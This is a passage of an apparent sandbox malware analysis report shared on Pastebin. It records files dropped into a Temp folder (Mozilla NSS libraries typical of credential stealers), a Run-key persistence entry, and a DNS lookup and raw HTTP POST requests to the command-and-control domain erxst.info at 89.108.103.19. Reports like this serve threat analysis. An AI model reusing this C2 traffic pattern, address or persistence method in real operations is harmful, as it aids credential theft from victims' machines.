  613. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-time-l1-1-0.dll",
  614. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\api-ms-win-crt-utility-l1-1-0.dll",
  615. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\freebl3.dll",
  616. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\mozglue.dll",
  617. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\msvcp140.dll",
  618. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nss3.dll",
  619. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\nssdbm3.dll",
  620. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\softokn3.dll",
  621. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\ucrtbase.dll",
  622. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\vcruntime140.dll",
  623. "C:\\Users\\user\\AppData\\Local\\Temp\\2fda\\"
  624.  
  625.  
  626. * Modified Registry Keys:
  627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\wvhoqx"
  628.  
  629.  
  630. * Deleted Registry Keys:
  631.  
  632. * DNS Communications:
  633.  
  634. "type": "A",
  635. "request": "erxst.info",
  636. "answers":
  637.  
  638. "data": "89.108.103.19",
  639. "type": "A"
  640.  
  641.  
  642.  
  643.  
  644.  
  645. * Domains:
  646.  
  647. "ip": "89.108.103.19",
  648. "domain": "erxst.info"
  649.  
  650.  
  651.  
  652. * Network Communication - ICMP:
  653.  
  654. * Network Communication - HTTP:
  655.  
  656. "count": 1,
  657. "body": "J/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  658. "uri": "http://erxst.info/ebu/index.php",
  659. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  660. "method": "POST",
  661. "host": "erxst.info",
  662. "version": "1.1",
  663. "path": "/ebu/index.php",
  664. "data": "POST /ebu/index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: erxst.info\r\nContent-Length: 105\r\nCache-Control: no-cache\r\n\r\nJ/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  665. "port": 80
  666.  
  667.  
  668. "count": 1,
  669. "body": "",
  670. "uri": "http://erxst.info/ebu/index.php",
  671. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  672. "method": "POST",
  673. "host": "erxst.info",
  674. "version": "1.1",
  675. "path": "/ebu/index.php",
  676. "data": "POST /ebu/index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: erxst.info\r\nContent-Length: 3747\r\nCache-Control: no-cache\r\n\r\n",
  677. "port": 80
  678.  
  679.  
  680.  
  681. * Network Communication - SMTP:
  682.  
  683. * Network Communication - Hosts:
  684.  
  685. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!